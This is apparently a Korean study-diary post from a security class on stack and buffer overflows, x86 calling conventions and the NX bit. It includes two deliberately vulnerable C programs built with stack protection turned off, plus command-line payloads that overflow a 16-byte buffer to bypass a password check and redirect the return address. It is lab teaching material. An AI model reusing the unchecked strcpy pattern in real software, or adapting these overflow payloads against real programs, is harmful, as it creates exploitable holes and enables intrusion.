오늘은 하루 종일
oveflow에 대한 내용이다.
stack overflow, buffer overflow에 대해 설명해주고 있다.
이를 이해하기 위한 OS구조나 메모리 구조, 실행파일 구성에 대해 설명해준다.
오후에는 x86 호출 규격에 대해 설명해주고 있다. stdcall, cdecl, fastcall, thiscal, ...
NX비트에 대한 설명도 나왔다. 이 비트는 데이터영역에서 실행할 수 없도록 막아주는 값이다. overflow를 사용하는 방법이 데이터 영역에서 메모리를 제어하여 실행하는 것이기 떄문이다. 인텔은 XD, AMD는 NX로 홍보한다. XD는 eXcute Disable, NX는 Never eXcute 이다.
아래처럼 처리하면 점핑
gcc -o pass_verif -fno-stack-protector passwd_jump.cpp
./pass_verif 12345678901234561
pass_verif Code 접기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
printf( "check_authentication address : %p", check_authentication );
// int input = 0;
// scanf( "%i", &input);
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}
접기
스택을 전부 덮어버리고 리턴주소를 바꾸면서 해당주소 실행.
gcc -o tst -fno-stack-protector main.c
./tst 11111111111111111111111111112222$(printf "\x74\x84\x04\x08")
stackoverflow 코드보기 접기
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
int prnt()
{
printf("KKKKKK\n");
return 0;
}
int func(char *param)
{
unsigned int buf[ 4 ];
int i = 0;
printf("Stack before:\n");
for( i = 0; i < 16; i++){
printf( "%p -- %8x\n", &buf[ i ], buf[ i ] );
}
printf("Stack after:\n");
strcpy( (char *)buf, param );
for( i = 0; i < 16; i++){
printf( "%p -- %8x\n", &buf[ i ], buf[ i ] );
}
printf("\n");
printf(" Address of buf == %p\n", buf );
return 0;
}
int main(int argc, char *argv[])
{
if ( argc > 1 )
func( argv[ 1 ] );
printf(" Addr of prnt() is %p \n", prnt );
printf(" Bye! \n");
return 0;
}
접기